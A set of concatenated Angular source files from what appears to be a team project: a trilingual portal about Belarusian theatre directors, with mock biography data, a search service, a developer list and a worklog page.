<file_sep>import { Component, OnInit, Input } from '@angular/core'; @Component({ selector: 'app-list-of-works', templateUrl: './list-of-works.component.html', styleUrls: ['./list-of-works.component.scss'], }) export class ListOfWorksComponent implements OnInit { @Input() public listOfWorks: { date: string; work: string }[]; constructor() {} ngOnInit(): void {} } <file_sep>import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { TranslateLoader, TranslateModule } from '@ngx-translate/core'; import { HttpClient } from '@angular/common/http'; import { TranslateHttpLoader } from '@ngx-translate/http-loader'; import { DetailedInformationRoutingModule } from './detailed-information.routing.module'; import { DetailesComponent } from './pages/detailes/detailes.component'; import { SharedModule } from '@shared/shared.module'; import { DirectorService } from './services/director.service'; import { MapComponent } from './components/map/map.component'; import { AngularYandexMapsModule } from 'angular8-yandex-maps'; import { ListOfWorksComponent } from './components/list-of-works/list-of-works.component'; import { VideosComponent } from './components/videos/videos.component'; import { YouTubePlayerModule } from '@angular/youtube-player'; import { TimelineComponent } from './components/timeline/timeline.component'; import { MglTimelineModule } from 'angular-mgl-timeline.9'; import { GalleryComponent } from './components/gallery/gallery.component'; import { environment } from '../../environments/environment'; import { NgbModule } from '@ng-bootstrap/ng-bootstrap'; const ModuleTranslate = TranslateModule.forChild({ loader: { provide: TranslateLoader, useFactory: HttpLoaderFactory, deps: [HttpClient], }, isolate: true, }); @NgModule({ declarations: [ DetailesComponent, MapComponent, ListOfWorksComponent, VideosComponent, TimelineComponent, GalleryComponent, ], imports: [ CommonModule, SharedModule, DetailedInformationRoutingModule, ModuleTranslate, AngularYandexMapsModule.forRoot(environment.MAP_API_KEY), YouTubePlayerModule, MglTimelineModule, NgbModule, ], providers: [DirectorService], }) export class DetailedInformationModule {} export function HttpLoaderFactory(http: HttpClient) { return new TranslateHttpLoader(http, './assets/i18n/detailed-information/', '.json'); } <file_sep>import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { TeamMembersRoutingModule } from './team-members-routing.module'; import { DeveloperItemComponent } from './components/developer-item/developer-item.component'; import { DevelopersListComponent } from './pages/developers-list/developers-list.component'; import { TranslateLoader, TranslateModule } from '@ngx-translate/core'; import { HttpClient } from '@angular/common/http'; import { TranslateHttpLoader } from '@ngx-translate/http-loader'; import { SharedModule } from '@shared/shared.module'; const ModuleTranslate = TranslateModule.forChild({ loader: { provide: TranslateLoader, useFactory: HttpLoaderFactory, deps: [HttpClient], }, isolate: true, }); @NgModule({ declarations: [DevelopersListComponent, DeveloperItemComponent], imports: [CommonModule, TeamMembersRoutingModule, ModuleTranslate, SharedModule], exports: [DevelopersListComponent], }) export class TeamMembersModule {} export function HttpLoaderFactory(http: HttpClient) { return new TranslateHttpLoader(http, './assets/i18n/team-members/', '.json'); } <file_sep>import { Component, OnInit, Input } from '@angular/core'; import { NgbModal } from '@ng-bootstrap/ng-bootstrap'; @Component({ selector: 'app-videos', templateUrl: './videos.component.html', styleUrls: ['./videos.component.scss'], }) export class VideosComponent implements OnInit { @Input() public videos: string[]; public currentVideo: string; constructor(private modalService: NgbModal) {} public ngOnInit(): void { const tag = document.createElement('script'); tag.src = 'https://www.youtube.com/iframe_api'; document.body.appendChild(tag); } public openVerticallyCentered(content: any, video: string): void { this.modalService.open(content, { centered: true, size: 'xl' }); this.currentVideo = video; } public getVideoId(url: string): string { const id: string = url.match(/v\=[A-Za-z0-9]+/)[0]; console.log(id); return id.slice(2); } } <file_sep>import { Component, Input } from '@angular/core'; import { Director } from '@shared/models/director'; import { Router } from '@angular/router'; @Component({ selector: 'app-director-of-day', templateUrl: './director-of-day.component.html', styleUrls: ['./director-of-day.component.scss'], }) export class DirectorOfDayComponent { @Input() public director: Director; constructor( private router: Router, ) { } public goToDetails(): void { this.router.navigate(['director', this.director.id]); } } <file_sep>import { Component, OnInit, Input } from '@angular/core'; @Component({ selector: 'app-map', templateUrl: './map.component.html', styleUrls: ['./map.component.scss'], }) export class MapComponent implements OnInit { @Input() public placesOfActivity: { activity: string; center: number[] }[]; constructor() {} public ngOnInit(): void {} public setMarkerText(text: string): { hintContent: string; balloonContent: string } { return { hintContent: '', balloonContent: text, }; } } <file_sep>import { NgModule, CUSTOM_ELEMENTS_SCHEMA } from '@angular/core'; import { CommonModule } from '@angular/common'; import { DirectorsRoutingModule } from './directors-routing.module'; import { TranslateLoader, TranslateModule } from '@ngx-translate/core'; import { HttpClient } from '@angular/common/http'; import { TranslateHttpLoader } from '@ngx-translate/http-loader'; import { AllDirectorsComponent } from './pages/all-directors/all-directors.component'; import { DirectorCardComponent } from './components/director-card/director-card.component'; const ModuleTranslate = TranslateModule.forChild({ loader: { provide: TranslateLoader, useFactory: HttpLoaderFactory, deps: [HttpClient], }, isolate: true, }); @NgModule({ declarations: [AllDirectorsComponent, DirectorCardComponent], imports: [CommonModule, DirectorsRoutingModule, ModuleTranslate], exports: [AllDirectorsComponent], schemas: [CUSTOM_ELEMENTS_SCHEMA] }) export class DirectorsModule { } export function HttpLoaderFactory(http: HttpClient) { return new TranslateHttpLoader(http, './assets/i18n/directors/', '.json'); } <file_sep>import { Component, OnInit } from '@angular/core'; import { StyleItem } from '@shared/models/style'; import { StyleItems } from '@shared/mock-data/mock.style'; @Component({ selector: 'app-style-list', templateUrl: './style-list.component.html', styleUrls: ['./style-list.component.scss'] }) export class StyleListComponent implements OnInit { styleItems: StyleItem[] = StyleItems; constructor() { } ngOnInit(): void { } } <file_sep>import { Injectable } from '@angular/core'; import { Director } from '@shared/models/director'; import { Directors } from '@shared/mock-data/mock.directors'; import { Subject, Observable } from 'rxjs'; @Injectable({ providedIn: 'root' }) export class GetRandomAuthorService { public directors: Director[] = Directors; public author: Subject<Director> = new Subject<Director>(); public author$: Observable<Director> = this.author.asObservable(); constructor() { } public getAuthor(): void { const director = this.directors[Math.floor(Math.random() * this.directors.length)]; this.author.next(director); } } <file_sep>import { Injectable } from '@angular/core'; import { Observable, BehaviorSubject } from 'rxjs'; @Injectable() export class LanguageService { public subject: BehaviorSubject<string> = new BehaviorSubject<string>('EN'); public setLanguage(lang: string): void { this.subject.next(lang); } public getLanguage(): Observable<string> { return this.subject.asObservable(); } } <file_sep>import { Injectable } from '@angular/core'; import { Directors as DirectorsRU } from '@shared/mock-data/mock.directors'; import { Directors as DirectorsBE } from '@shared/mock-data/mock.directorsBE'; import { Directors as DirectorsEN } from '@shared/mock-data/mock.directorsEN'; import { Director } from '@shared/models/director'; import { BehaviorSubject, Observable } from 'rxjs'; import { LanguageService } from '@core/services/language.service'; import { BrowserStack } from 'protractor/built/driverProviders'; @Injectable({ providedIn: 'root' }) export class SearchService { public subjectSearch: BehaviorSubject<Director[]>; public observeSearch: Observable<Director[]>; public currentLng: string; protected EN = 'EN'; protected RU = 'RU'; protected BE = 'BE'; constructor(private languageService: LanguageService) { this.subjectSearch = new BehaviorSubject(DirectorsRU); this.observeSearch = this.subjectSearch.asObservable(); this.languageService.getLanguage().subscribe(lang => { this.currentLng = lang; console.log('lng: ' + this.currentLng); }); } private searchByQuery(query: string) { const queryStr: string = query.toLowerCase(); switch (this.currentLng) { case this.EN: return this.searchIn(DirectorsEN, queryStr); case this.RU: return this.searchIn(DirectorsRU, queryStr); case this.BE: return this.searchIn(DirectorsBE, queryStr); } } private searchIn(arrOfDirectors, queryStr) { return arrOfDirectors.filter(director => director.name.toLowerCase().includes(queryStr) || director.surname.toLowerCase().includes(queryStr) || director.birthPlace.toLowerCase().includes(queryStr) ); } public getSearchResult(query: string) { this.subjectSearch.next(this.searchByQuery(query)); } } <file_sep>import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { SharedModule } from '@shared/shared.module'; import { NgbModule } from '@ng-bootstrap/ng-bootstrap'; import { HeaderComponent } from './components/header/header.component'; import { HomePageComponent } from './pages/home/home-page.component'; import { DescriptionPortalComponent } from './components/description-portal/description-portal.component'; import { DirectorOfDayPageComponent } from './pages/director-of-day-page/director-of-day-page.component'; import { DirectorOfDayComponent } from './components/director-of-day/director-of-day.component'; import { HttpClient, HttpClientModule } from '@angular/common/http'; import { TranslateLoader, TranslateModule } from '@ngx-translate/core'; import { TranslateHttpLoader } from '@ngx-translate/http-loader'; import { GetRandomAuthorService } from './services/get-random-author.service'; import { Error404Component } from './components/error404/error404.component'; import { Error404pageComponent } from './pages/error404page/error404page.component'; import { LanguageService } from '@core/services/language.service'; import { NgxSpinnerModule } from 'ngx-spinner'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; const ModuleTranslate = TranslateModule.forRoot({ loader: { provide: TranslateLoader, useFactory: HttpLoaderFactory, deps: [HttpClient], }, isolate: true, }); @NgModule({ declarations: [ HeaderComponent, HomePageComponent, DescriptionPortalComponent, DirectorOfDayComponent, DirectorOfDayPageComponent, Error404Component, Error404pageComponent, ], imports: [ CommonModule, SharedModule, NgbModule, HttpClientModule, ModuleTranslate, NgxSpinnerModule, BrowserAnimationsModule, ], exports: [SharedModule, HomePageComponent, HeaderComponent, TranslateModule], providers: [GetRandomAuthorService, LanguageService], }) export class CoreModule {} export function HttpLoaderFactory(http: HttpClient) { return new TranslateHttpLoader(http, './assets/i18n/core/', '.json'); } <file_sep>import { Component, OnInit } from '@angular/core'; import { GeneralLog } from '../../models/worklog.models'; import { WorklogService } from '../../services/worklog.service'; import { LanguageService } from '@core/services/language.service'; import { TranslateService } from '@ngx-translate/core'; import { NgxSpinnerService } from 'ngx-spinner'; @Component({ selector: 'app-member-log', templateUrl: './member-log.component.html', styleUrls: ['./member-log.component.scss'], }) export class MemberLogComponent implements OnInit { public logs = GeneralLog; public counter = this.worklogService.counter; constructor( public worklogService: WorklogService, private languageService: LanguageService, public translate: TranslateService, private spinnerService: NgxSpinnerService, ) { this.languageService.getLanguage().subscribe(lang => { this.translate.use(lang); }); } public ngOnInit(): void { this.translate.setDefaultLang('EN'); this.spinner(); } public findItem(id: number): void { this.logs[this.worklogService.counter].item[id - 1].completed = !this.logs[this.worklogService.counter] .item[id - 1].completed; } public calculateTotal(language: string): string { let acc = 0; let total: string; if (this.worklogService.counter === 0) { this.logs[this.worklogService.counter].item.map(e => { if (e.completed) { acc += +e.points; } }); } if (this.worklogService.counter) { this.logs[this.worklogService.counter].item.map(e => { if (e.completed) { acc += +e.points.slice(0, -3); } }); } switch (language) { case 'RU': !this.worklogService.counter ? (total = `Всего: ${acc} баллов`) : (total = `Всего: ${acc} часа(ов)`); break; case 'EN': !this.worklogService.counter ? (total = `Total: ${acc} pt`) : (total = `Total: ${acc} hr`); break; case 'BE': !this.worklogService.counter ? (total = `Усяго: ${acc} балаў`) : (total = `Усяго: ${acc} гадзін(ы)`); break; } return total; } private spinner(): void { this.spinnerService.show(); setTimeout(() => { this.spinnerService.hide(); }, 0); } } <file_sep>export interface IStatePages { home: boolean; allDirectors: boolean; workLog: boolean; styleGuide: boolean; ourTeam: boolean; } <file_sep>import { Component, OnInit, Input } from '@angular/core'; import { NgbModal } from '@ng-bootstrap/ng-bootstrap'; @Component({ selector: 'app-gallery', templateUrl: './gallery.component.html', styleUrls: ['./gallery.component.scss'], }) export class GalleryComponent implements OnInit { @Input() public photos: string[]; public currentImage: string; constructor(private modalService: NgbModal) {} public ngOnInit(): void {} public openVerticallyCentered(content: any, image: string): void { this.modalService.open(content, { centered: true, size: 'xl' }); this.currentImage = image; } } <file_sep>import { Injectable } from '@angular/core'; @Injectable({ providedIn: 'root', }) export class WorklogService { public counter = 0; public getCurrentMember($event): void { const controlNext = $event.target.classList.contains('carousel-control-next'); const controlNextIcon = $event.target.classList.contains('carousel-control-next-icon'); const controlPrev = $event.target.classList.contains('carousel-control-prev'); const controlPrevIcon = $event.target.classList.contains('carousel-control-prev-icon'); if (controlNext || controlNextIcon) { this.counter += 1; if (this.counter > 6) { this.counter = 0; } } if (controlPrev || controlPrevIcon) { this.counter -= 1; if (this.counter < 0) { this.counter = 6; } } } } <file_sep>import { Developer } from '@shared/models/developer'; export const Developers: Developer[] = [ { name: 'Evgeny', surname: 'Kravchenko', photo: '../assets/images/developers/kravchenko.jfif', github: 'https://github.com/Evgeny-Kravchenko', telegram: 'https://t.me/k1696', worklog: '10%' }, { name: 'Ekaterina', surname: 'Lysiuk', photo: '../assets/images/developers/lysiuk.png', github: 'https://github.com/ekater1na', telegram: 'https://t.me/ObsssQ', worklog: '10%' }, { name: 'Mikhail', surname: 'Sidarkevich', photo: '../assets/images/developers/sidarkevich.png', github: 'https://github.com/chivekrodis', telegram: 'https://t.me/chivekrodis', worklog: '10%' }, { name: 'Mikhail', surname: 'Shcheglakov', photo: '../assets/images/developers/shcheglakov.png', github: 'https://github.com/madmike85', telegram: 'https://t.me/MikhailShcheglakov', worklog: '10%' }, { name: 'Maria', surname: 'Golomb', photo: '../assets/images/developers/golomb.png', github: 'https://github.com/mariagolomb', telegram: 'https://t.me/MariaGolomb', worklog: '10%' }, { name: 'Anastasiya', surname: 'Popova', photo: '../assets/images/developers/popova.png', github: 'https://github.com/a-popova', telegram: 'https://t.me/anastasiya2810', worklog: '10%' }, ]; <file_sep>import { Component, OnInit } from '@angular/core'; import { NgbCarouselConfig } from '@ng-bootstrap/ng-bootstrap'; import { WorklogService } from '../../services/worklog.service'; import { TranslateService } from '@ngx-translate/core'; import { LanguageService } from '@core/services/language.service'; @Component({ selector: 'app-carousel-navigation', templateUrl: './carousel-navigation.component.html', styleUrls: ['./carousel-navigation.component.scss'], providers: [NgbCarouselConfig], }) export class CarouselNavigationComponent implements OnInit { constructor( config: NgbCarouselConfig, public worklogService: WorklogService, public translate: TranslateService, private languageService: LanguageService, ) { config.showNavigationArrows = true; config.showNavigationIndicators = false; this.languageService.getLanguage().subscribe(lang => { this.translate.use(lang); }); } public ngOnInit(): void { this.languageService.getLanguage().subscribe(lang => { this.translate.use(lang); }); } } <file_sep>import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { NgbModule } from '@ng-bootstrap/ng-bootstrap'; import { WorkLogRoutingModule } from './worklog-routing.module'; import { WorklogComponent } from './components/worklog/worklog.component'; import { MemberLogComponent } from './pages/member-log/member-log.component'; import { CarouselNavigationComponent } from './components/carousel-navigation/carousel-navigation.component'; import { TranslateLoader, TranslateModule } from '@ngx-translate/core'; import { HttpClient } from '@angular/common/http'; import { TranslateHttpLoader } from '@ngx-translate/http-loader'; import { SharedModule } from '@shared/shared.module'; const ModuleTranslate = TranslateModule.forChild({ loader: { provide: TranslateLoader, useFactory: HttpLoaderFactory, deps: [HttpClient], }, isolate: true, }); @NgModule({ declarations: [WorklogComponent, MemberLogComponent, CarouselNavigationComponent], imports: [CommonModule, WorkLogRoutingModule, ModuleTranslate, NgbModule, SharedModule], }) export class WorkLogModule {} export function HttpLoaderFactory(http: HttpClient) { return new TranslateHttpLoader(http, './assets/i18n/worklog/', '.json'); } <file_sep>import { Director } from '@shared/models/director'; export const Directors: Director[] = [ { name: 'Евстигней', surname: 'Мирович', id: '1', yearsOfLife: '29 июля [10 августа], 1878 - 25 февраля, 1952', birthPlace: 'Санкт-Петербург, Российская империя', generalInfo: 'российский и белорусский советский актёр, режиссёр, драматург, педагог, профессор (1945). Народный артист Белорусской ССР (1940).', biography: [ { date: '1900', content: 'Профессиональную сценическую деятельность начал в 1900 году в Петербурге как актёр и режиссёр. Играл в Адмиралтейском, Екатерининском, Кронштадтском театрах, с 1910 в театрах миниатюр: Троицком, Интимном, Литейном.', }, { date: '1921—1931', content: 'Начал работать в театрах Белоруссии. Художественный руководитель Белорусского государственного драматического театра в Минске.', }, { date: '1937—1940 ', content: 'Художественный руководитель Белорусского театра юного зрителя имени Н. Крупской.', }, { date: '1941—1945', content: 'режиссёр 1-го Белорусского государственного драматического театра в Минске (ныне — Национальный академический театр имени Янки Купалы).', }, { date: '1945', content: ' Художественный руководитель и заведующий кафедрой мастерства актёра Белорусского театрально-художественного института. Профессор. Занимался также преподавательской деятельностью в театральных студиях, в Минском театральном училище.', }, ], listOfWorks: [ { date: '1923', work: 'Кастусь Калиновский', }, { date: '1927', work: 'Мятеж', }, { date: '1937', work: 'Как закалялась сталь', }, { date: '1939', work: 'Чудесная дудка', }, ], photos: [ '../assets/images/mirovich1.jpg', '../assets/images/mirovich3.jpg', '../assets/images/mirovich5.jpg', ], videos: ['https://www.youtube.com/watch?v=Yunms45xnog&feature=emb_logo'], placesOfActivity: [ { activity: '1-ый Белорусский государственный драматический театр в Минске (ныне — Национальный академический театр имени Янки Купалы)', center: [53.90088357066573, 27.562774500000007], }, ], }, { name: 'Лариса', surname: 'Александровская', id: '2', generalInfo: 'белорусская, советская оперная певица (сопрано), режиссёр, публицист, общественный деятель. Народная артистка СССР (1940).', yearsOfLife: '2 февраля [15 февраля], 1902 - 23 мая, 1980', birthPlace: 'Минск, Российская империя', biography: [ { date: '1924-1928', content: 'Училась в Минском музыкальном техникуме, в 1928 — в специальном оперном классе.', }, { date: '1933 - 1951', content: 'Солистка Белорусского театра оперы и балета в Минске. Исполняла как сопрановые, так и меццо-сопрановые партии. Во время войны выступала с концертами на фронтах, в госпиталях и в партизанских отрядах.', }, { date: '1951—1960 ', content: 'Была одновременно и главным режиссёром Белорусского театра оперы и балета. В год ей удавалось выпускать по два премьерных спектакля.', }, { date: '1946—1980', content: 'Инициатор создания и неизменный председатель правления Белорусского театрального общества.', }, ], listOfWorks: [ { date: '1951', work: '<NAME>', }, { date: '1953', work: 'Аида', }, { date: '1954', work: '<NAME>', }, { date: '1955', work: 'Трубадур', }, { date: '1960', work: '<NAME>', }, ], photos: [ '../assets/images/aleksandrovskaya1.jpg', '../assets/images/aleksandrovskaya2.jpg', '../assets/images/aleksandrovskaya3.jpg', '../assets/images/aleksandrovskaya4.jpg', '../assets/images/aleksandrovskaya5.jpg', ], videos: ['https://www.youtube.com/watch?v=v3LC9JtorMM'], placesOfActivity: [ { activity: 'Белорусский театр оперы и балета', center: [53.91074407066195, 27.561848999999974], }, ], }, { name: 'Борис', surname: 'Луценко', id: '3', generalInfo: 'советский и белорусский режиссёр-постановщик театра и кино. Народный артист Республики Беларусь (1995). Заслуженный деятель искусств Белорусской ССР (1975).', yearsOfLife: '16 сентября, 1937 - 5 февраля, 2020', birthPlace: 'Майкоп, Краснодарский край, РСФСР, СССР', biography: [ { date: '1967', content: 'Окончил Белорусский государственный театрально-художественный институт (курс Заслуженного деятеля искусств Белорусской ССР <NAME>).', }, { date: '1967—1973, 1981—1982', content: 'Работал режиссёром Национального академического театра имени Я. Купалы.', }, { date: '1973—1981', content: 'Работал главным режиссёром Государственного русского драматического театра Белорусской ССР.', }, { date: '1991-2008, 2008-2020', content: 'Художественный руководитель, а затем режиссёр-постановщик Национального академического драматического театра имени М. Горького.', }, ], listOfWorks: [ { date: '1974', work: 'У. Шекспир «Макбет»', }, { date: '1975', work: 'А. Твардовский «Василий Тёркин»', }, { date: '1976', work: 'М. Горький «Последние»', }, { date: '1978', work: 'В. Быков «Пойти и не вернуться»', }, { date: '1997', work: 'Я. Купала «Раскіданае гняздо»', }, { date: '2002', work: 'Я. Купала «Сон на кургане»', }, ], photos: [ '../assets/images/lucenko1.jpg', '../assets/images/lucenko2.jpg', '../assets/images/lucenko4.jpg', ], videos: ['https://www.youtube.com/watch?v=wM-HkQ59usY'], placesOfActivity: [ { activity: 'Национальный академический драматический театр имени <NAME>', center: [53.89840557065936, 27.551131999999964], }, ], }, { name: 'Игнат', surname: 'Буйницкий', id: '4', yearsOfLife: '10 [22] августа, 1861 - 9 [22] сентября, 1917', birthPlace: 'усадьба Поливачи Прозорокской волости (Глубокский район Витебской области)', generalInfo: 'белорусский актёр, режиссёр, театральный деятель, основатель первого профессионального национального белорусского театра.', biography: [ { date: '1907', content: 'Вместе с дочерьми Вандой и Еленой, а также со своими близкими друзьями создал в фольварке Поливачи любительскую труппу. Особенностью выступлений было то, что со сцены звучал белорусский язык, исполнялись знакомые простым людям народные танцы.', }, { date: '1910', content: 'На её основе была сформирована постоянная группа и начаты продолжительные гастроли по Беларуси.', }, { date: '1913', content: 'Буйницкий организовал Прозорокское белорусское кредитное общество, в котором каждый крестьянин под небольшой процент мог получить заём.', }, { date: '1914—1916', content: 'Буйницкий принимал активное участие в деятельности виленского общества «В помощь фронту».', }, { date: '1917', content: 'был одним из инициаторов создания «Первого товарищества белорусской драмы и комедии» в Минске, на базе которого возник Национальный академический театр имени <NAME>.', }, { date: '1917', content: 'Отправился на Западный фронт Первой мировой войны.', }, ], listOfWorks: [ { date: '1913', work: '«Лявониха»', }, { date: '1914', work: '«Дуда-веселуха»', }, { date: '1914', work: '«По ревизии» М. Крапивницкого', }, { date: '1916', work: '«Модный шляхтич» <NAME>', }, ], photos: ['../assets/images/bujnicki1.jpg', '../assets/images/bujnicki4.jpg'], videos: ['https://www.youtube.com/watch?v=ACDGr4TUkvs'], placesOfActivity: [ { activity: 'усадьба Поливачи Прозорокской волости (Глубокский район Витебской области)', center: [55.18449707014662, 27.862847499999972], }, ], }, { name: 'Леон', surname: 'Рахленко', id: '5', yearsOfLife: '6 [19] сентября, 1907 - 9 марта, 1986', birthPlace: 'пос. Тереховка, Гомельский уезд, Могилёвская губерния, Российская империя', generalInfo: 'советский актёр, режиссёр, педагог. Народный артист СССР (1966).', biography: [ { date: '1924—1927', content: 'Учился в Ленинградском техникуме сценических искусств (ученик Л.С. Вивьена и С.Э. Радлова).', }, { date: '1926-1927', content: 'Артист и ассистент режиссёра Ленинградского рабочего театра Пролеткульта.', }, { date: '1927-1928', content: 'Художественный руководитель театральной рабочей студии Киевского Совета профсоюзов.', }, { date: '1929—1981', content: 'Актёр и режиссёр (с 1935) (в 1938—1943 годах — заведующий художественной частью) Театра им. <NAME> в Минске. Режиссёрскую деятельность начал под руководством <NAME>.', }, ], listOfWorks: [ { date: '1938', work: '«Партизаны» К. Крапивы', }, { date: '1942', work: '«Фронт» <NAME>', }, { date: '1943', work: '«Русские люди» <NAME>', }, { date: '1956', work: '«Кремлёвские куранты» <NAME>', }, { date: '1957', work: '«Грозовой год» <NAME>', }, ], photos: ['../assets/images/rahlenko1.jpg', '../assets/images/rahlenko3.jpg'], videos: ['https://www.youtube.com/watch?v=kimvRGqEe-U'], placesOfActivity: [ { activity: '1-ый Белорусский государственный драматический театр в Минске (ныне — Национальный академический театр имени Янки Купалы)', center: [53.90088357066573, 27.562774500000007], }, ], }, { name: 'Владимир', surname: 'Тезавровский', id: '6', yearsOfLife: '1880 - 1955', birthPlace: 'Ливны, Орловская губерния, Российская империя', generalInfo: 'советский актёр и режиссёр, Заслуженный артист РСФСР (1945 г.).', biography: [ { date: '1901', content: 'Встретился с Немировичем-Данченко и стал работать в его театре.', }, { date: '1905', content: 'Окончил художественную школу при театре и сразу был принят в основную труппу театра.', }, { date: '1905—1918', content: 'Актер МХТ. В 1918 году организовал в Одессе художественную студию. Затем работал как режиссёр в театре Массодрам (Одесса).', }, { date: '1917', content: 'снял свой единственный немой художественный фильм в 4 частях «Женщина без головы».', }, { date: '1941—1946', content: 'Главный режиссёр Московского областного театра юного зрителя.', }, { date: '1925', content: 'Режиссёр-администратор Оперной студии К. С. Станиславского в Москве. Руководил оперой в Минске и Тифлисе. Был первым оперным режиссёром и основателем белорусской оперы.', }, ], listOfWorks: [ { date: '1925', work: '«Золотой петушок» (Н.Римский-Корсаков)', }, { date: '1926', work: '«Евгений Онегин» (П.Чайковский)', }, { date: '1917', work: '«Женщина без головы»', }, { date: '1930', work: '«Бедность не порок» (А.Островский)', }, ], photos: [ '../assets/images/tezavrovski1.jpg', '../assets/images/tezavrovski3.jpg', '../assets/images/tezavrovski4.jpg', '../assets/images/tezavrovski5.jpg', ], videos: ['https://www.youtube.com/watch?v=nK_FVB1d_RM'], placesOfActivity: [ { activity: 'Московский академический Музыкальный театр <NAME>ского и <NAME>', center: [55.764520568969374, 37.61039499999998], }, ], }, ]; <file_sep>import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-description-portal', templateUrl: './description-portal.component.html', styleUrls: ['./description-portal.component.scss'] }) export class DescriptionPortalComponent implements OnInit { public currentDate: Date; constructor() { } public ngOnInit(): void { this.currentDate = new Date(); } } <file_sep><h2 class="text-center mb-5">{{ 'listOfWorks.title' | translate }}</h2> <table class="table container-fluid text-center pl-5"> <thead> <tr> <th scope="col">{{ 'listOfWorks.date' | translate }}</th> <th scope="col w-75">{{ 'listOfWorks.work' | translate }}</th> </tr> </thead> <tbody> <tr scope="row" *ngFor="let work of listOfWorks"> <td>{{ work.date }}</td> <td>{{ work.work }}</td> </tr> </tbody> </table> <file_sep>export interface Item { id: number; points: string; title: string; completed: boolean; name?: string; } export interface WorkLog { name: string; item: Item[]; } export const GeneralLog: WorkLog[] = [ { name: 'general work log', item: [ { id: 1, points: '10', title: 'MainPage', completed: true, }, { id: 2, points: '10', title: `teamPage`, completed: true, }, { id: 3, points: '10', title: `authorPage`, completed: true, }, { id: 4, points: '20', title: `twoLanguage`, completed: true, }, { id: 5, points: '20', title: `styleguidePage`, completed: true }, { id: 6, points: '10', title: `mobileVersion`, completed: true }, { id: 7, points: '10', title: `ipdaVersion`, completed: true }, { id: 8, points: '10', title: `authorPageTimeline`, completed: true }, { id: 9, points: '10', title: `authorPageVideo`, completed: true }, { id: 10, points: '20', title: `authorPagePhotoGallery`, completed: true }, { id: 11, points: '10', title: `authorPageGeowidget`, completed: true }, { id: 12, points: '20', title: `design`, completed: true, }, { id: 13, points: '20', title: `bootstrap`, completed: true }, { id: 14, points: '10', title: `thirdLanguage`, completed: true }, { id: 15, points: '10', title: `presentation`, completed: true }, { id: 16, points: '10', title: `useScully`, completed: false, }, { id: 17, points: '10', title: `cms`, completed: false, }, { id: 18, points: '20', title: `animation`, completed: true }, { id: 19, points: '20', title: `outstandingDesigne`, completed: true }, { id: 20, points: '20', title: `storybook`, completed: false, }, ], }, { name: '<NAME>', item: [ { id: 1, points: '0.5 hr', title: 'typography', completed: true, }, { id: 2, points: '0.5 hr', title: 'addBootstrap', completed: true, }, { id: 3, points: '0.5 hr', title: 'lazyloaded', completed: true, }, { id: 4, points: '2.0 hr', title: 'header', completed: true, }, { id: 5, points: '2.0 hr', title: 'portalDescription', completed: true, }, { id: 6, points: '4.0 hr', title: 'i18n', completed: true, }, { id: 7, points: '4.0 hr', title: 'headerTranslate', completed: true, }, { id: 8, points: '4.0 hr', title: 'portalDescriptionTranslate', completed: true, }, ], }, { name: '<NAME>', item: [ { id: 1, points: '0.5 hr', title: 'initProject', completed: true, }, { id: 2, points: '1.0 hr', title: 'developerListData', completed: true, }, { id: 3, points: '4.0 hr', title: 'ourTeamPage', completed: true, }, { id: 3, points: '1.0 hr', title: 'ourTeamPageTranslate', completed: true, }, { id: 4, points: '4.0 hr', title: 'createStyleGuide', completed: true, }, ], }, { name: '<NAME>', item: [ { id: 1, points: '0.5 hr', title: 'worklogPage', completed: true, }, { id: 2, points: '1.0 hr', title: 'collectLogData', completed: true, }, { id: 3, points: '2.0 hr', title: 'worklogMockup', completed: true, }, { id: 4, points: '1.0 hr', title: 'teamNamesCarousel', completed: true, }, { id: 5, points: '2.0 hr', title: 'memberLogComponent', completed: true, }, { id: 6, points: '1.0 hr', title: 'total', completed: true, }, { id: 7, points: '3.0 hr', title: 'refactorWorklogData', completed: true, }, { id: 8, points: '3.0 hr', title: 'worklogDictionary', completed: true, }, { id: 9, points: '2.0 hr', title: 'worklogTranslate', completed: true, }, ], }, { name: '<NAME>', item: [ { id: 1, points: '2.0 hr', title: 'detailedInformationPage', completed: true, }, { id: 2, points: '4.0 hr', title: 'authorPageTimelineTask', completed: true, }, { id: 3, points: '2.0 hr', title: 'authorPageVideoTask', completed: true, }, { id: 4, points: '4.0 hr', title: 'authorPagePhotoGalleryTask', completed: true, }, { id: 5, points: '2.0 hr', title: 'authorPageGeowidgetTask', completed: true, }, ], }, { name: '<NAME>', item: [ { id: 1, points: '2.0 hr', title: 'createSharedModules', completed: true, }, { id: 2, points: '6.0 hr', title: `directorsComponent`, completed: true, }, { id: 3, points: '6.0 hr', title: `addSearch`, completed: true, }, ], }, { name: '<NAME>', item: [ { id: 1, points: '0.5 hr', title: 'createModules', completed: true, }, { id: 2, points: '3.0 hr', title: 'collectMockDataRus', completed: true, }, { id: 3, points: '4.0 hr', title: 'authorOfTheDay', completed: true, }, { id: 4, points: '1.0 hr', title: 'getRandomAuthor', completed: true, }, { id: 5, points: '0.5 hr', title: 'initWorklog', completed: true, }, { id: 6, points: '2.0 hr', title: 'extraMockData', completed: true, }, { id: 7, points: '1.0 hr', title: '404Page', completed: true, }, { id: 8, points: '4.5 hr', title: 'translateMockData', completed: true, }, { id: 9, points: '2.0 hr', title: 'translateAuthorOfTheDay', completed: true, }, ], }, ]; <file_sep>import { Component, OnInit } from '@angular/core'; import { Router } from '@angular/router'; import { IStatePages } from '@core/models/State-pages'; import { TranslateService } from '@ngx-translate/core'; import { LanguageService } from '@core/services/language.service'; @Component({ selector: 'app-header', templateUrl: './header.component.html', styleUrls: ['./header.component.scss'], }) export class HeaderComponent implements OnInit { public isMenuCollapsed = true; public language: string; public statePages: IStatePages; constructor( private router: Router, private translate: TranslateService, private languageService: LanguageService, ) {} public ngOnInit(): void { this.language = 'EN'; this.statePages = { home: true, allDirectors: false, workLog: false, styleGuide: false, ourTeam: false, }; this.translate.setDefaultLang('EN'); this.language = 'EN'; } public goTo(url): void { for (const page of Object.keys(this.statePages)) { this.statePages[page] = `/${page}` === url; } this.router.navigateByUrl(url); } public setLanguage(lang: string): void { this.language = lang; this.languageService.setLanguage(lang); this.translate.use(lang); } } <file_sep>import { NgModule } from '@angular/core'; import { Routes, RouterModule } from '@angular/router'; import { HomePageComponent } from '@core/pages/home/home-page.component'; import { Error404pageComponent } from '@core/pages/error404page/error404page.component'; const routes: Routes = [ { path: '', 